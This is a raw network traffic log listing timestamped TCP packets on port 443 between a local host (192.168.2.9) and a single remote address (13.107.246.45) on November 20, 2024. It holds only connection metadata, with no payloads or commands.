Nov 20, 2024 10:20:34.083415031 CET	443	49964	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.085757971 CET	443	49965	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.088171005 CET	49965	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.088196039 CET	443	49965	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.088591099 CET	49965	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.088596106 CET	443	49965	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.104579926 CET	49966	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.104661942 CET	443	49966	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.104751110 CET	49966	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.108592987 CET	49966	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.108623028 CET	443	49966	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.179769993 CET	443	49964	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.179923058 CET	443	49964	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.180017948 CET	49964	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.188409090 CET	443	49965	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.188445091 CET	443	49965	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.188498974 CET	443	49965	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.188532114 CET	49965	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.188558102 CET	49965	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.219166040 CET	49967	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.219214916 CET	443	49967	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.219327927 CET	49967	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.219671011 CET	49968	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.219696045 CET	443	49968	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.219744921 CET	49968	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.219924927 CET	49964	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.219970942 CET	443	49964	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.219993114 CET	49964	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.220001936 CET	443	49964	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.220753908 CET	49965	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.220773935 CET	443	49965	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.220804930 CET	49965	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.220810890 CET	443	49965	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.227304935 CET	49967	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.227334023 CET	443	49967	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.254005909 CET	49968	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.254040956 CET	443	49968	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.264689922 CET	49969	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.264715910 CET	49970	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.264733076 CET	443	49969	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.264750004 CET	443	49970	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.264820099 CET	49969	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.264966965 CET	49970	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.264966965 CET	49970	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.264996052 CET	443	49970	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.265085936 CET	49969	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.265099049 CET	443	49969	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.789649963 CET	443	49966	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.790426016 CET	49966	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.790457010 CET	443	49966	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.791114092 CET	49966	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.791120052 CET	443	49966	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.878971100 CET	443	49967	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.879669905 CET	49967	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.879704952 CET	443	49967	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.880381107 CET	49967	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.880388021 CET	443	49967	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.897670984 CET	443	49968	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.898283005 CET	49968	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.898299932 CET	443	49968	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.898828030 CET	49968	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.898833990 CET	443	49968	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.902127981 CET	443	49966	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.902211905 CET	443	49966	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.902301073 CET	49966	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.902493000 CET	49966	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.902493954 CET	49966	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.902543068 CET	443	49966	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.902571917 CET	443	49966	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.906424999 CET	49971	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.906466007 CET	443	49971	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.906550884 CET	49971	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.906742096 CET	49971	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.906754017 CET	443	49971	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.922257900 CET	443	49969	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.922831059 CET	49969	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.922856092 CET	443	49969	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.923401117 CET	49969	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.923407078 CET	443	49969	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.943588972 CET	443	49970	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.944480896 CET	49970	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.944509029 CET	443	49970	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.945199966 CET	49970	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.945207119 CET	443	49970	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.980185032 CET	443	49967	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.980314970 CET	443	49967	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.980370998 CET	49967	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.980601072 CET	49967	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.980623007 CET	443	49967	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.980637074 CET	49967	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.980643034 CET	443	49967	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.984610081 CET	49972	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.984654903 CET	443	49972	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.984721899 CET	49972	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.984922886 CET	49972	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.984934092 CET	443	49972	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.998666048 CET	443	49968	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.998853922 CET	443	49968	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.998965979 CET	49968	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.999146938 CET	49968	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.999170065 CET	443	49968	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:34.999181032 CET	49968	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:34.999186993 CET	443	49968	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.002908945 CET	49973	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.003005981 CET	443	49973	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.003133059 CET	49973	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.003346920 CET	49973	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.003381968 CET	443	49973	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.024514914 CET	443	49969	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.024768114 CET	443	49969	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.024837017 CET	49969	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.024899960 CET	49969	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.024918079 CET	443	49969	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.024930000 CET	49969	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.024935961 CET	443	49969	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.028189898 CET	49974	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.028333902 CET	443	49974	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.028435946 CET	49974	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.028587103 CET	49974	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.028614998 CET	443	49974	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.072166920 CET	443	49970	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.072206974 CET	443	49970	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.072268963 CET	443	49970	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.072483063 CET	49970	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.072483063 CET	49970	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.072757006 CET	49970	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.072772026 CET	443	49970	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.072781086 CET	49970	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.072787046 CET	443	49970	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.076812983 CET	49975	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.076877117 CET	443	49975	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.076989889 CET	49975	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.077186108 CET	49975	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.077198029 CET	443	49975	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.577461958 CET	443	49971	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.578241110 CET	49971	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.578265905 CET	443	49971	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.578944921 CET	49971	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.578949928 CET	443	49971	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.658330917 CET	443	49972	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.660562038 CET	49972	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.660610914 CET	443	49972	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.661330938 CET	49972	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.661345005 CET	443	49972	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.665764093 CET	443	49973	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.666735888 CET	49973	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.666795015 CET	443	49973	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.667505026 CET	49973	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.667519093 CET	443	49973	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.672823906 CET	443	49974	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.673368931 CET	49974	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.673394918 CET	443	49974	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.673935890 CET	49974	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.673949957 CET	443	49974	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.684227943 CET	443	49971	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.684305906 CET	443	49971	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.684362888 CET	49971	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.684545994 CET	49971	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.684566021 CET	443	49971	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.696892977 CET	49976	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.696953058 CET	443	49976	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.697038889 CET	49976	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.697921991 CET	49976	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.697947025 CET	443	49976	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.739588022 CET	443	49975	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.740422964 CET	49975	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.740447998 CET	443	49975	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.741142988 CET	49975	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.741157055 CET	443	49975	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.762190104 CET	443	49972	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.762223005 CET	443	49972	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.762284994 CET	49972	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.762314081 CET	443	49972	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.762677908 CET	443	49972	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.762737036 CET	49972	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.762737036 CET	49972	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.762761116 CET	443	49972	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.762789011 CET	49972	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.762794971 CET	443	49972	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.766493082 CET	49977	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.766540051 CET	443	49977	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.766782999 CET	49977	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.766973972 CET	49977	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.766987085 CET	443	49977	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.767762899 CET	443	49973	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.767828941 CET	443	49973	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.767879963 CET	49973	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.768059015 CET	49973	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.768083096 CET	443	49973	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.768098116 CET	49973	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.768105984 CET	443	49973	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.770733118 CET	49978	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.770771027 CET	443	49978	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.770833015 CET	49978	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.770953894 CET	49978	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.770965099 CET	443	49978	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.778321981 CET	443	49974	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.778346062 CET	443	49974	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.778405905 CET	443	49974	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.778439045 CET	49974	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.778477907 CET	49974	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.778742075 CET	49974	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.778754950 CET	443	49974	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.778791904 CET	49974	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.778796911 CET	443	49974	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.781590939 CET	49979	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.781636000 CET	443	49979	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.781718969 CET	49979	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.781866074 CET	49979	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.781879902 CET	443	49979	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.846477032 CET	443	49975	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.846506119 CET	443	49975	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.846579075 CET	443	49975	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.846659899 CET	49975	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.846695900 CET	49975	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.847018957 CET	49975	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.847035885 CET	443	49975	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.847053051 CET	49975	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.847059965 CET	443	49975	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.851497889 CET	49980	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.851541996 CET	443	49980	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:35.851653099 CET	49980	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.851886034 CET	49980	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:35.851902008 CET	443	49980	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.342233896 CET	443	49976	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.342789888 CET	49976	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.342816114 CET	443	49976	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.343310118 CET	49976	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.343322992 CET	443	49976	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.415173054 CET	443	49977	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.415862083 CET	49977	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.415941954 CET	443	49977	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.416383982 CET	49977	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.416399002 CET	443	49977	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.441672087 CET	443	49976	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.441694975 CET	443	49976	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.441833019 CET	49976	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.441863060 CET	443	49976	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.441880941 CET	443	49976	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.441966057 CET	49976	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.442256927 CET	49976	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.442274094 CET	443	49976	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.442286015 CET	49976	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.442291975 CET	443	49976	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.449551105 CET	443	49978	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.450845003 CET	49978	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.450860023 CET	443	49978	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.451383114 CET	49978	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.451389074 CET	443	49978	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.453114033 CET	49981	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.453171968 CET	443	49981	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.453274965 CET	49981	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.453413963 CET	49981	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.453430891 CET	443	49981	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.467221022 CET	443	49979	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.467912912 CET	49979	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.467937946 CET	443	49979	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.470649958 CET	49979	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.470659971 CET	443	49979	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.518709898 CET	443	49977	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.518738031 CET	443	49977	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.518862009 CET	49977	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.518877983 CET	443	49977	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.518903017 CET	443	49977	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.518979073 CET	49977	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.526524067 CET	443	49980	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.553744078 CET	443	49978	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.553828955 CET	443	49978	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.553920031 CET	49978	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.564982891 CET	49977	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.565051079 CET	443	49977	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.565088034 CET	49977	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.565107107 CET	443	49977	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.566653967 CET	49980	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.566693068 CET	443	49980	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.567188025 CET	49980	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.567203045 CET	443	49980	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.567383051 CET	49978	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.567415953 CET	443	49978	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.567434072 CET	49978	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.567440987 CET	443	49978	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.570913076 CET	49982	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.570941925 CET	49983	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.570966959 CET	443	49982	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.571027994 CET	443	49983	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.571198940 CET	49982	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.571342945 CET	49983	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.571342945 CET	49983	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.571427107 CET	443	49983	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.571432114 CET	49982	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.571453094 CET	443	49982	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.573324919 CET	443	49979	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.573438883 CET	443	49979	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.573528051 CET	49979	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.573602915 CET	49979	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.573604107 CET	49979	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.573637009 CET	443	49979	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.573663950 CET	443	49979	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.576128960 CET	49984	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.576169968 CET	443	49984	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.576266050 CET	49984	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.576405048 CET	49984	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.576422930 CET	443	49984	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.666919947 CET	443	49980	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.667120934 CET	443	49980	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.667212009 CET	49980	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.670852900 CET	49980	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.670892954 CET	443	49980	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.670908928 CET	49980	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.670917034 CET	443	49980	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.758445978 CET	49985	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.758493900 CET	443	49985	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:36.758613110 CET	49985	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.765300989 CET	49985	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:36.765328884 CET	443	49985	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:37.988835096 CET	443	49981	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:37.990313053 CET	49981	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:37.990346909 CET	443	49981	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:37.990396023 CET	49981	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:37.990403891 CET	443	49981	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.137309074 CET	443	49981	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.137554884 CET	443	49981	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.137722015 CET	49981	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.137722015 CET	49981	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.138602972 CET	49981	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.138627052 CET	443	49981	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.141165972 CET	49986	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.141201019 CET	443	49986	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.141473055 CET	49986	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.141473055 CET	49986	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.141504049 CET	443	49986	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.173791885 CET	443	49985	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.174043894 CET	443	49982	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.174134970 CET	443	49983	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.174591064 CET	49985	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.174634933 CET	443	49985	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.175113916 CET	49982	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.175113916 CET	49985	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.175131083 CET	443	49982	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.175138950 CET	443	49985	13.107.246.45	192.168.2.9
